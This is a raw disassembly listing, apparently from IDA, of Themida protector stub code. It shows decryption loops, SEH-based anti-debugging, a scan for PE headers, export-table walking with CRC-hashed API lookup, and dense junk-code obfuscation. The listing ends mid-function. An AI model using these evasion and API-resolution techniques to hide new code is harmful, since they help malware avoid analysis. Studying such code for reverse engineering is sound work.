loc_57F9AF: ; CODE XREF: sub_57F94D+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_57F9AF
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_57F9A3
popa
leave
retn 4
sub_57F94D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_57F9ED
; ---------------------------------------------------------------------------
loc_57F9E9: ; CODE XREF: Themida_:0057F9F0j
inc dword ptr [ebp-4]
inc esi
loc_57F9ED: ; CODE XREF: Themida_:0057F9E7j
cmp byte ptr [esi], 0
jnz short loc_57F9E9
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_57FA7E
; ---------------------------------------------------------------------------
loc_57F9FF: ; CODE XREF: Themida_:0057FA81j
mov dword ptr [ebp-8], 0
jmp short loc_57FA75
; ---------------------------------------------------------------------------
loc_57FA08: ; CODE XREF: Themida_:0057FA79j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_57FA62
; ---------------------------------------------------------------------------
loc_57FA18: ; CODE XREF: Themida_:0057FA66j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_57FA3A
cmp bl, 39h
ja short loc_57FA3A
sub bl, 30h
jmp short loc_57FA5C
; ---------------------------------------------------------------------------
loc_57FA3A: ; CODE XREF: Themida_:0057FA2Ej
; Themida_:0057FA33j
cmp bl, 61h
jb short loc_57FA4C
cmp bl, 66h
ja short loc_57FA4C
sub bl, 61h
add bl, 0Ah
jmp short loc_57FA5C
; ---------------------------------------------------------------------------
loc_57FA4C: ; CODE XREF: Themida_:0057FA3Dj
; Themida_:0057FA42j
cmp bl, 41h
jb short loc_57FA5C
cmp bl, 46h
ja short loc_57FA5C
sub bl, 41h
add bl, 0Ah
loc_57FA5C: ; CODE XREF: Themida_:0057FA38j
; Themida_:0057FA4Aj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_57FA62: ; CODE XREF: Themida_:0057FA16j
cmp dword ptr [ebp-0Ch], 2
jb short loc_57FA18
cmp dword ptr [ebp-10h], 0
jbe short loc_57FA72
mov eax, [ebp-10h]
stosb
loc_57FA72: ; CODE XREF: Themida_:0057FA6Cj
inc dword ptr [ebp-8]
loc_57FA75: ; CODE XREF: Themida_:0057FA06j
cmp dword ptr [ebp-8], 2
jb short loc_57FA08
add edx, 4
loc_57FA7E: ; CODE XREF: Themida_:0057F9FDj
cmp edx, [ebp-4]
jb loc_57F9FF
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
loc_57FA91: ; CODE XREF: Themida_:0057F878j
mov ecx, 7000h
lea edi, [ebp+61337D8h]
loc_57FA9C: ; CODE XREF: Themida_:0057FAA0j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_57FA9C
mov eax, 48692121h
mov edx, 0F0113000h
sub edx, 0F0000000h
lea eax, [ebp+61338B5h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sub ebx, 0AE1C6C6h
sub eax, edx
jmp loc_57FAEC
; ---------------------------------------------------------------------------
dw 0CA89h
dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h
; ---------------------------------------------------------------------------
loc_57FAEC: ; CODE XREF: Themida_:0057FAD5j
and eax, 0FFFFF000h
cmc
mov ecx, edx
xor edi, edi
loc_57FAF6: ; CODE XREF: Themida_:0057FB11j
cmp word ptr [eax], 5A4Dh
jnz short loc_57FB0B
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_57FB13
loc_57FB0B: ; CODE XREF: Themida_:0057FAFBj
sub eax, 1000h
inc edi
jmp short loc_57FAF6
; ---------------------------------------------------------------------------
loc_57FB13: ; CODE XREF: Themida_:0057FB09j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+61338C8h]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_57FB4D
mov esi, [eax+1Ch]
loc_57FB4D: ; CODE XREF: Themida_:0057FB48j
xor eax, eax
loc_57FB4F: ; CODE XREF: Themida_:0057FB62j
cmp eax, 32h
jz short loc_57FB73
cmp word ptr [esi], 5A4Dh
jz short loc_57FB64
loc_57FB5B: ; CODE XREF: Themida_:0057FB71j
sub esi, 10000h
inc eax
jmp short loc_57FB4F
; ---------------------------------------------------------------------------
loc_57FB64: ; CODE XREF: Themida_:0057FB59j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_57FBB5
jmp short loc_57FB5B
; ---------------------------------------------------------------------------
loc_57FB73: ; CODE XREF: Themida_:0057FB52j
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 61338D3h
lea eax, [ebp+6133891h]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_57FBB5: ; CODE XREF: Themida_:0057FB6Fj
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
push 0
push ebp
call sub_57FBCB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FBCB proc near ; CODE XREF: Themida_:0057FBC3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_57FBCB endp
; ---------------------------------------------------------------------------
fldcw word ptr ds:839FFCD2h
sub [ebx], ebp
mov bx, di
mov bl, cl
mov ebx, edi
jmp loc_57FBF9
; ---------------------------------------------------------------------------
db 0E5h
dd 0D023CB8Dh, 0DF49837Fh
db 0EFh
; ---------------------------------------------------------------------------
loc_57FBF9: ; CODE XREF: Themida_:0057FBEAj
mov cx, ds
call near ptr loc_57FC13+2
daa
fisubr dword ptr [ebx-34B01236h]
in eax, 0C3h ; DMA controller, 8237A-5.
; channel 1 current word count
test [eax], cl
cmp esi, ds:9E835E7Fh
setalc
loc_57FC13: ; CODE XREF: Themida_:0057FBFCp
fisubr word ptr [edx+66h]
mov ebx, 805B5A84h
loope loc_57FC21
mov bl, 0AFh
push esi
stc
loc_57FC21: ; CODE XREF: Themida_:0057FC1Bj
pop ebx
or cl, cl
jnz loc_57FC69
cmc
mov dword ptr [ebp+613173Dh], 1
sub bh, 17h
jmp loc_57FC75
; ---------------------------------------------------------------------------
db 51h, 0E8h, 0Bh
dd 29000000h, 0C3E1D250h, 112EDB20h, 800FD796h, 0
; ---------------------------------------------------------------------------
pop ebx
pop ebx
jmp loc_57FC69
; ---------------------------------------------------------------------------
db 6Eh
; ---------------------------------------------------------------------------
jmp fword ptr [esi+6E7555Ch]
; ---------------------------------------------------------------------------
dw 0E015h
dd 0F6E66F37h
db 0A1h
; ---------------------------------------------------------------------------
loc_57FC69: ; CODE XREF: Themida_:0057FC24j
; Themida_:0057FC56j
mov dword ptr [ebp+613173Dh], 0
mov bl, 0A9h
loc_57FC75: ; CODE XREF: Themida_:0057FC38j
mov [ebp+613116Dh], eax
jmp loc_57FC87
; ---------------------------------------------------------------------------
dd 0CB0D7C69h
db 0A3h, 86h, 0Fh
; ---------------------------------------------------------------------------
loc_57FC87: ; CODE XREF: Themida_:0057FC7Bj
mov [ebp+6131EE9h], eax
call near ptr sub_57FCA1
clc
fsubr qword ptr [ecx]
jle short loc_57FCC8
sbb edx, [ebx]
push ds
push eax
jno short near ptr loc_57FCD9+1
pusha
cld
test ecx, ecx
; =============== S U B R O U T I N E =======================================
sub_57FCA1 proc far ; CODE XREF: Themida_:0057FC8Dp
var_20 = dword ptr -20h
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, 1DAB4A51h
pop edx
mov si, 0FEF9h
add edx, 6C09h
jnz loc_57FCC6
jmp loc_57FCC6
; ---------------------------------------------------------------------------
dd 782518E8h, 4B041E1Fh
; ---------------------------------------------------------------------------
sub esi, [edi]
loc_57FCC6: ; CODE XREF: sub_57FCA1+10j
; sub_57FCA1+16j
xor ecx, ecx
loc_57FCC8: ; CODE XREF: Themida_:0057FC95j
; sub_57FCA1+A2j
mov edi, [edx+ecx]
and ebx, 685BF319h
add edi, 0D5DDF76h
mov ah, 13h
loc_57FCD9: ; CODE XREF: Themida_:0057FC9Bj
sub edi, 10A78E55h
pusha
cmc
movsx edx, ax
popa
xor edi, 28E82139h
mov esi, 2053DC43h
push edi
mov ah, 0B5h
pop dword ptr [edx+ecx]
jnb loc_57FD12
pusha
jmp loc_57FD0E
; ---------------------------------------------------------------------------
dw 0A3EEh
dd 0DBC2DCFBh, 7B71E680h
db 0F4h, 75h
; ---------------------------------------------------------------------------
loc_57FD0E: ; CODE XREF: sub_57FCA1+5Cj
movzx esi, di
popa
loc_57FD12: ; CODE XREF: sub_57FCA1+55j
jns loc_57FD1A
mov bl, 8Ch
loc_57FD1A: ; CODE XREF: sub_57FCA1:loc_57FD12j
sub ecx, 4
mov bx, si
cmp ecx, 0FFFF94B8h
jnz loc_57FD42
mov esi, 65084A63h
jmp loc_57FD57
; ---------------------------------------------------------------------------
dw 0FB3Fh
dd 3652E578h, 0CA620EBFh
db 3Eh, 0F4h
; ---------------------------------------------------------------------------
loc_57FD42: ; CODE XREF: sub_57FCA1+85j
stc
jmp loc_57FCC8
; ---------------------------------------------------------------------------
dd 0B267E84Ah, 0EF0A836Ah, 6E9A01E0h
db 0FAh, 20h, 68h
; ---------------------------------------------------------------------------
loc_57FD57: ; CODE XREF: sub_57FCA1+90j
jmp short loc_57FD5D
; ---------------------------------------------------------------------------
db 1Bh, 2, 0
db 0
; ---------------------------------------------------------------------------
loc_57FD5D: ; CODE XREF: sub_57FCA1:loc_57FD57j
jmp loc_580486
; ---------------------------------------------------------------------------
jmp loc_57FD77
; ---------------------------------------------------------------------------
db 8Ah
dd 55D77416h, 8A9BA460h, 2133E8C6h
; ---------------------------------------------------------------------------
pop ds
inc ecx
inc eax
loc_57FD77: ; CODE XREF: sub_57FCA1+C1j
pusha
add [ebp+61318F5h], ecx
mov eax, 0
pusha
movzx edx, dx
mov edi, [ebp+6130FF9h]
popa
mov edx, [esp+28h]
pusha
mov ebx, [ebp+6131AD9h]
jmp loc_57FDA9
; ---------------------------------------------------------------------------
dw 0E55Ah
dd 9500E97Ch, 747E228Bh
db 0FFh
; ---------------------------------------------------------------------------
loc_57FDA9: ; CODE XREF: sub_57FCA1+F8j
popa
mov [ebp+6132BC5h], eax
cld
mov esi, 3Ch
cld
add esi, [esp+18h+arg_8]
add [ebp+61334D9h], edx
lodsw
mov [ebp+6131629h], edi
add eax, [esp+18h+arg_8]
jno loc_57FDD9
mov [ebp+6133185h], eax
loc_57FDD9: ; CODE XREF: sub_57FCA1+12Cj
push eax
jmp loc_57FDF3
; ---------------------------------------------------------------------------
db 1Ch
dd 7FF0DEBCh, 7F00B3E3h, 78BD0773h, 58A9BFC7h
db 47h, 91h, 0BFh
; ---------------------------------------------------------------------------
loc_57FDF3: ; CODE XREF: sub_57FCA1+139j
mov [esp+0], eax
jp loc_57FE02
sub [ebp+6132429h], ebx
loc_57FE02: ; CODE XREF: sub_57FCA1+155j
mov eax, [eax+78h]
mov [ebp+6132951h], edi
add eax, [esp+1Ch+arg_8]
jmp loc_57FE20
; ---------------------------------------------------------------------------
dd 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h
; ---------------------------------------------------------------------------
loc_57FE20: ; CODE XREF: sub_57FCA1+16Ej
mov eax, [eax+18h]
cld
inc eax
mov [ebp+613121Dh], edi
mov [ebp+6133A8Fh], eax
mov [ebp+6131A99h], edx
pusha
sub [ebp+6130079h], edx
popa
pop eax
jmp loc_57FE4A
; ---------------------------------------------------------------------------
db 0CEh, 0BBh, 0F0h
db 0D2h, 41h
; ---------------------------------------------------------------------------
loc_57FE4A: ; CODE XREF: sub_57FCA1+19Fj
jmp loc_57FE5F
; ---------------------------------------------------------------------------
db 0E2h
dd 0E31A9DA4h, 0AD8F501Ch, 203243EAh
db 30h, 0F4h, 0E8h
; ---------------------------------------------------------------------------
loc_57FE5F: ; CODE XREF: sub_57FCA1:loc_57FE4Aj
mov esi, [eax+78h]
mov [ebp+61300E9h], ecx
add esi, 1Ch
clc
add esi, [esp+18h+arg_8]
jmp loc_57FE7A
; ---------------------------------------------------------------------------
and eax, 2BCC080h
loc_57FE7A: ; CODE XREF: sub_57FCA1+1CFj
lea edi, [ebp+61318C1h]
pusha
movzx esi, ax
pusha
movsx ecx, di
mov ebx, [ebp+6131BD5h]
popa
popa
jmp loc_57FEA9
; ---------------------------------------------------------------------------
db 9Dh, 3, 76h
dd 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h
db 20h
; ---------------------------------------------------------------------------
loc_57FEA9: ; CODE XREF: sub_57FCA1+1EFj
lodsd
js loc_57FEB8
ja loc_57FEB8
pusha
popa
loc_57FEB8: ; CODE XREF: sub_57FCA1+209j
; sub_57FCA1+20Fj
jmp loc_57FECD
; ---------------------------------------------------------------------------
db 94h, 2Eh, 74h
dd 296855AFh, 2D3B60D2h, 8A3DC3ACh
db 0A8h
; ---------------------------------------------------------------------------
loc_57FECD: ; CODE XREF: sub_57FCA1:loc_57FEB8j
add eax, [esp+18h+arg_8]
jmp loc_57FEE5
; ---------------------------------------------------------------------------
lodsb
mov dh, 0B0h
cld
cmc
les ebp, [ebp-58h]
enter 0FFFFF229h, 0F4h
and al, [ecx]
inc esp
loc_57FEE5: ; CODE XREF: sub_57FCA1+230j
stosd
mov [ebp+6132BB5h], ecx
lea edi, [ebp+6130951h]
or [ebp+61304D9h], esi
jmp loc_57FF07
; ---------------------------------------------------------------------------
db 0C7h, 72h, 0E3h
dd 0B9CAB34h
db 1Ah, 1, 0Ch
; ---------------------------------------------------------------------------
loc_57FF07: ; CODE XREF: sub_57FCA1+257j
lodsd
cld
add eax, [esp+24h]
jmp loc_57FF19
; ---------------------------------------------------------------------------
dw 0AF8Fh
; ---------------------------------------------------------------------------
inc esi
xor al, 6Ch
mov cl, 6Ah
loc_57FF19: ; CODE XREF: sub_57FCA1+26Cj
sub [ebp+6132261h], esi
push eax
pusha
mov bx, cx
mov si, 0C3A0h
popa
mov [esp+0], eax
pusha
add [ebp+6130C19h], esi
mov [ebp+61310B5h], edi
popa
jz loc_57FF48
pusha
mov [ebp+61334A9h], edi
popa
loc_57FF48: ; CODE XREF: sub_57FCA1+299j
stosd
xor [ebp+6130F59h], edi
lea edi, [ebp+6131B55h]
mov [ebp+6130709h], esi
lodsd
jge loc_57FF68
mov [ebp+6133059h], esi
loc_57FF68: ; CODE XREF: sub_57FCA1+2BBj
add eax, [esp+28h]
xor [ebp+6131239h], ebx
pusha
mov edx, 8FBDFA1h
pusha
mov [ebp+6132C49h], ecx
popa
popa
stosd
jmp loc_57FF96
; ---------------------------------------------------------------------------
db 0EDh
dd 9D4BC67Fh, 9AE40827h, 71F3DB33h
; ---------------------------------------------------------------------------
pop esi
pop ebp
loc_57FF96: ; CODE XREF: sub_57FCA1+2E1j
pop esi
clc
sub [ebp+61325EDh], ebx
loc_57FF9E: ; CODE XREF: sub_57FCA1+389j
dec dword ptr [ebp+6133A8Fh]
cmp dword ptr [ebp+6133A8Fh], 0
jnz short loc_57FFBD
mov dword ptr [esp+1Ch], 0
lea esi, [ebp+6133F55h]
jmp esi
; ---------------------------------------------------------------------------
loc_57FFBD: ; CODE XREF: sub_57FCA1+30Aj
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+61311E1h]
test al, al
jz short loc_57FFD4
cmp al, [edi]
jnz short loc_580020
loc_57FFD4: ; CODE XREF: sub_57FCA1+32Dj
push edi
xor al, al
loc_57FFD7: ; CODE XREF: sub_57FCA1+337j
scasb
jnz short loc_57FFD7
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_57FFE4: ; CODE XREF: sub_57FCA1+36Cj
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_57FFF3: ; CODE XREF: sub_57FCA1+365j
shr bx, 1
rcr ax, 1
jnb short loc_580004
xor ax, 5041h
xor bx, 5449h
loc_580004: ; CODE XREF: sub_57FCA1+358j
dec dh
jnz short loc_57FFF3
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_57FFE4
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_58002F
loc_580020: ; CODE XREF: sub_57FCA1+331j
pop esi
add esi, 4
inc dword ptr [ebp+6132BC5h]
jmp loc_57FF9E
; ---------------------------------------------------------------------------
loc_58002F: ; CODE XREF: sub_57FCA1+37Dj
pop esi
pusha
mov cx, 84FDh
or edx, [ebp+6131FD5h]
popa
jbe loc_58004F
pusha
adc di, 51C5h
mov [ebp+6131619h], ebx
popa
loc_58004F: ; CODE XREF: sub_57FCA1+39Bj
mov eax, [ebp+6132BC5h]
jb loc_580067
jno loc_580067
mov [ebp+613151Dh], ebx
loc_580067: ; CODE XREF: sub_57FCA1+3B4j
; sub_57FCA1+3BAj
sub [ebp+6131D7Dh], edx
shl eax, 1
sub [ebp+61308CDh], ecx
mov [ebp+6130FF9h], esi
add eax, [ebp+6131B55h]
js loc_58008D
mov [ebp+6130BADh], ebx
loc_58008D: ; CODE XREF: sub_57FCA1+3E0j
mov esi, 0
cld
xchg eax, esi
mov [ebp+6132369h], edx
lodsw
jmp loc_5800AE
; ---------------------------------------------------------------------------
db 0EEh, 5Eh, 0BCh
dd 0B76EE00h, 544F9084h
; ---------------------------------------------------------------------------
jmp short loc_580113
; ---------------------------------------------------------------------------
loc_5800AE: ; CODE XREF: sub_57FCA1+3FBj
pusha
add eax, [ebp+6131BF1h]
mov ebx, 595BF2D6h
popa
shl eax, 2
mov [ebp+6131621h], ebx
add eax, [ebp+61318C1h]
js loc_5800E8
jmp loc_5800E8
; ---------------------------------------------------------------------------
db 8, 25h, 0E8h
dd 6C513DA8h, 450CB1Ch, 9B945615h, 81AA09Ah
; ---------------------------------------------------------------------------
loc_5800E8: ; CODE XREF: sub_57FCA1+429j
; sub_57FCA1+42Fj
xchg eax, esi
mov [ebp+6132C89h], esi
lodsd
stc
mov ecx, [esp+24h]
jmp loc_580105
; ---------------------------------------------------------------------------
dw 0A40Bh
dd 7A6346E4h, 5E53D14h
; ---------------------------------------------------------------------------
xlat
loc_580105: ; CODE XREF: sub_57FCA1+454j
add eax, [esp+24h]
sub [ebp+6131BCDh], ebx
mov [esp+1Ch], eax
loc_580113: ; CODE XREF: sub_57FCA1+40Bj
stc
xchg eax, esi
pusha
pusha
sbb bl, 0E2h
popa
movsx eax, cx
popa
mov [ebp+6131211h], esi
lodsb
clc
ja loc_58013F
jmp loc_58013F
; ---------------------------------------------------------------------------
test al, 7Dh
dec edx
icebp
sal ebx, 0F7h
mov esi, 0CB3244EEh
push ds
loc_58013F: ; CODE XREF: sub_57FCA1+486j
; sub_57FCA1+48Cj
xor cl, cl
ja loc_58014D
mov [ebp+6131BA1h], eax
loc_58014D: ; CODE XREF: sub_57FCA1+4A0j
inc cl
pusha
or dl, 43h
jge loc_58015F
jge $+6
loc_58015F: ; CODE XREF: sub_57FCA1+4B2j
popa
loc_580160: ; CODE XREF: sub_57FCA1+500j
rcl al, 1
jnb loc_58021F
cmc
pusha
mov ax, 4099h
push ebx
mov si, bx
pop eax
popa
rcl al, 1
jnb loc_58021F
mov [ebp+6130FEDh], edi
rcl al, 1
jb loc_58021F
jmp loc_580196
; ---------------------------------------------------------------------------
db 73h
dd 798EC618h
db 2 dup(0Fh)
; ---------------------------------------------------------------------------
loc_580196: ; CODE XREF: sub_57FCA1+4E9j
rcl al, 1
jb loc_58021F
clc
dec cl
jns loc_580160
jmp loc_5801B8
; ---------------------------------------------------------------------------
cdq
or bl, ch
dec ecx
mov eax, ds:789ECDA7h
db 2Eh
nop
leave
loc_5801B8: ; CODE XREF: sub_57FCA1+506j
jno loc_5801D0
jmp loc_5801D0
; ---------------------------------------------------------------------------
db 83h
dd 0C321AF00h, 0C4EB95E0h, 9F99820Bh
; ---------------------------------------------------------------------------
loc_5801D0: ; CODE XREF: sub_57FCA1:loc_5801B8j
; sub_57FCA1+51Dj
add esp, 20h
jnz loc_5801DF
or [ebp+6130EBDh], ebx
loc_5801DF: ; CODE XREF: sub_57FCA1+532j
mov dword ptr [esp-4], 0
mov [ebp+61324BDh], edx
mov eax, 1
mov [ebp+61300E1h], ecx
lea ecx, [ebp+6137533h]
jmp loc_580217
; ---------------------------------------------------------------------------
db 7Ch
dd 92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh
db 0B2h, 99h, 6Fh
; ---------------------------------------------------------------------------
loc_580217: ; CODE XREF: sub_57FCA1+55Dj
jmp ecx
; ---------------------------------------------------------------------------
sub [ebp+6132A01h], eax
loc_58021F: ; CODE XREF: sub_57FCA1+4C1j
; sub_57FCA1+4D5j ...
mov byte ptr [ebp+61311E1h], 0
sub [ebp+6131629h], ebx
popa
or [ebp+61325B5h], eax
retn 8
; ---------------------------------------------------------------------------
jb loc_58023D
cld
loc_58023D: ; CODE XREF: sub_57FCA1+595j
xchg eax, esi
jmp loc_58024B
; ---------------------------------------------------------------------------
xor esi, [edx]
xor [esi-0Bh], dh
push es
retf
; ---------------------------------------------------------------------------
db 0A2h
; ---------------------------------------------------------------------------
loc_58024B: ; CODE XREF: sub_57FCA1+59Dj
push eax
jb loc_580267
jmp loc_580267
; ---------------------------------------------------------------------------
db 0BDh
dd 0D918ACB4h, 45A44A8Eh, 0DB7FD818h
; ---------------------------------------------------------------------------
das
movsd
pop ss
loc_580267: ; CODE XREF: sub_57FCA1+5ABj
; sub_57FCA1+5B1j
xchg eax, esi
pusha
mov ebx, [ebp+61321B1h]
mov ebx, [ebp+6131741h]
popa
mov [ebp+6134178h], esi
cld
mov [ebp+6134198h], ecx
pusha
or [ebp+61310D5h], esi
popa
lea esi, [ebp+6134004h]
add [ebp+61305D9h], ecx
lea eax, dword_5B8EA1[ebp]
pusha
mov ax, si
popa
call eax
mov [ebp+6130C3Dh], esi
pusha
xor [ebp+6132BE1h], ecx
mov [ebp+6131631h], ecx
popa
pop esi
stc
retn
; ---------------------------------------------------------------------------
pusha
mov ecx, [ebp+6130595h]
mov edx, 45702F49h
popa
sub [ebp+6131DE5h], edx
mov esi, [ebp+6134178h]
jmp loc_5802E4
; ---------------------------------------------------------------------------
xor dword ptr [edx], 8942C0C6h
xor [ecx], ecx
jnz short loc_58032A
loc_5802E4: ; CODE XREF: sub_57FCA1+633j
mov ecx, [ebp+6134198h]
mov [ebp+6133045h], esi
mov eax, 0
jmp loc_580309
; ---------------------------------------------------------------------------
dw 884Ah
dd 64152240h, 4A7B3FE7h, 0CF87878Fh
; ---------------------------------------------------------------------------
xchg eax, ebx
loc_580309: ; CODE XREF: sub_57FCA1+654j
mov ebx, ecx
pusha
mov [ebp+6132501h], eax
mov edx, [ebp+61322DDh]
popa
jmp loc_58042C
; ---------------------------------------------------------------------------
dw 890Fh
dd 1, 68F0FF5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_58032A: ; CODE XREF: sub_57FCA1+641j
add [ecx+13006D95h], cl
push es
loc_580331: ; CODE XREF: sub_57FCA1+78Dj
xor ah, [esi]
jno loc_580343
jmp loc_580343
; ---------------------------------------------------------------------------
dw 1673h
db 0E3h, 0B8h, 14h
; ---------------------------------------------------------------------------
loc_580343: ; CODE XREF: sub_57FCA1+692j
; sub_57FCA1+698j
mov dl, 2
add [ebp+6132C79h], ebx
jmp loc_5803D3
; ---------------------------------------------------------------------------
pusha
push ebx
add [ebp+613318Dh], ecx
pop edi
popa
loc_58035A: ; CODE XREF: sub_57FCA1+734j
xor al, dl
pusha
mov [ebp+61323F5h], edx
mov bh, dl
popa
add eax, 8A751D7Ah
clc
mov cl, ah
jmp loc_580385
; ---------------------------------------------------------------------------
db 0B7h
dd 0F81B4893h, 62702DF7h, 0C649E80Ch, 3E0FA26Dh
db 0E7h
; ---------------------------------------------------------------------------
loc_580385: ; CODE XREF: sub_57FCA1+6CDj
pusha
jmp loc_58039A
; ---------------------------------------------------------------------------
db 14h
dd 0D705E53Dh, 0E20752FCh, 27F57198h
; ---------------------------------------------------------------------------
adc [ecx], bl
loc_58039A: ; CODE XREF: sub_57FCA1+6E5j
mov edi, [ebp+6131291h]
popa
ror eax, cl
pusha
mov dx, bx
movzx ebx, bx
popa
xor eax, 98D10842h
stc
dec dl
jns loc_5803D3
pusha
mov dx, si
jmp loc_5803D2
; ---------------------------------------------------------------------------
dw 982h
dd 542EB427h
db 38h
; ---------------------------------------------------------------------------
loc_5803C9: ; CODE XREF: sub_57FCA1+76Ej
cmp eax, 831B8121h
; ---------------------------------------------------------------------------
dw 0FFC5h
db 7Fh, 38h
; ---------------------------------------------------------------------------
loc_5803D2: ; CODE XREF: sub_57FCA1+71Cj
popa
loc_5803D3: ; CODE XREF: sub_57FCA1+6AAj
; sub_57FCA1+712j
or dl, dl
jnz loc_58035A
jnz loc_5803F7
jmp loc_5803F7
; ---------------------------------------------------------------------------
dw 0AF6Bh
dd 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h
db 0CEh
byte_5803F5 db 0E9h, 32h ; CODE XREF: sub_57FCA1+76Aj
; ---------------------------------------------------------------------------
loc_5803F7: ; CODE XREF: sub_57FCA1+73Aj
; sub_57FCA1+740j
dec ebx
pusha
jo loc_580413
call loc_580412
and al, 13h
jno short loc_580486
leave
fld qword ptr [esi]
jecxz short near ptr byte_5803F5
inc esi
das
db 26h
jns short loc_5803C9
loc_580412: ; CODE XREF: sub_57FCA1+75Ep
pop edx
loc_580413: ; CODE XREF: sub_57FCA1+758j
mov ch, 0CCh
popa
inc esi
jbe loc_58042C
jmp loc_58042C
; ---------------------------------------------------------------------------
dw 5456h
dd 941A54A0h, 0E5921D6Fh
; ---------------------------------------------------------------------------
loc_58042C: ; CODE XREF: sub_57FCA1+678j
; sub_57FCA1+776j ...
or ebx, ebx
jnz loc_580331
pusha
mov eax, 3E3C718h
popa
iret
; ---------------------------------------------------------------------------
dd 318D8589h, 613h, 1F65BD89h, 613h, 0FF98D01h, 0BE90613h
dd 0EF000000h, 0FC003A2Ch, 42209425h, 0E5A9h, 0FE9h, 8A937900h
dd 0AF5801AEh, 0C28FDF29h, 281C1BDCh
db 89h, 0B5h
; ---------------------------------------------------------------------------
loc_58047A: ; CODE XREF: sub_57FCA1+810j
inc ecx
push ds
adc eax, [esi]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
or [ebp+6133201h], ebx
loc_580486: ; CODE XREF: sub_57FCA1:loc_57FD5Dj
; sub_57FCA1+765j
lea eax, [ebp+6133AADh]
clc
mov [ebp+6133235h], eax
clc
lea eax, [ebp+6133F73h]
sub [ebp+61329D9h], ecx
cld
mov [ebp+6130711h], eax
call near ptr loc_5804BB+1
sbb al, 0F8h
inc byte ptr [eax+78h]
jo short loc_58047A
db 67h
sti
add dh, 26h
xchg eax, edx
add ah, ah
loc_5804BB: ; CODE XREF: sub_57FCA1+806p
adc dl, [edx+5Ah]
sub_57FCA1 endp ; sp-analysis failed
pop edi
push eax
clc
pop esi
add edi, 61CBh
xor edx, 57EAAD8Dh
mov eax, 0
call loc_5804E7
or al, 60h
cmc
inc eax
or [ebp-22h], esi
dec edi
xor dl, [esp+ebp-17h]
rol byte ptr [ebp+7Ch], 1
loc_5804E7: ; CODE XREF: Themida_:005804D3p
sub [ebp+61330B1h], esi
pop edx
; START OF FUNCTION CHUNK FOR sub_580544
loc_5804EE: ; CODE XREF: sub_580544+10j
push dword ptr [eax+edi]
jmp loc_580500
; END OF FUNCTION CHUNK FOR sub_580544
; ---------------------------------------------------------------------------
dw 9BF3h
; ---------------------------------------------------------------------------
sub esp, [edi-21h]
cmp eax, 62CFF00Eh
; START OF FUNCTION CHUNK FOR sub_580544
loc_580500: ; CODE XREF: sub_580544-53j
pop ebx
cmc
xor ebx, 6B302544h
mov dx, 9Ah
add ebx, 359151D4h
xor ebx, 1C196D58h
mov cx, 92BDh
push ebx
mov [ebp+6130FD1h], esi
pop dword ptr [edi+eax]
or cx, 43B2h
sub eax, 3
call sub_580544
; END OF FUNCTION CHUNK FOR sub_580544
; ---------------------------------------------------------------------------
db 8Fh
dd 76D9B019h, 77480FDCh, 3198A22Ch, 0BE0284EDh
; =============== S U B R O U T I N E =======================================
sub_580544 proc near ; CODE XREF: sub_580544-16p
; FUNCTION CHUNK AT 005804EE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00580500 SIZE 00000033 BYTES
mov cl, dh
pop ecx
dec eax
mov esi, [ebp+6131275h]
cmp eax, 0FFFF9EECh
jnz loc_5804EE
call near ptr sub_580566
scasb
cmp esi, edx
xlat
push edi
nop
cwde
sub_580544 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_580566 proc far ; CODE XREF: sub_580544+16p
var_40 = dword ptr -40h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
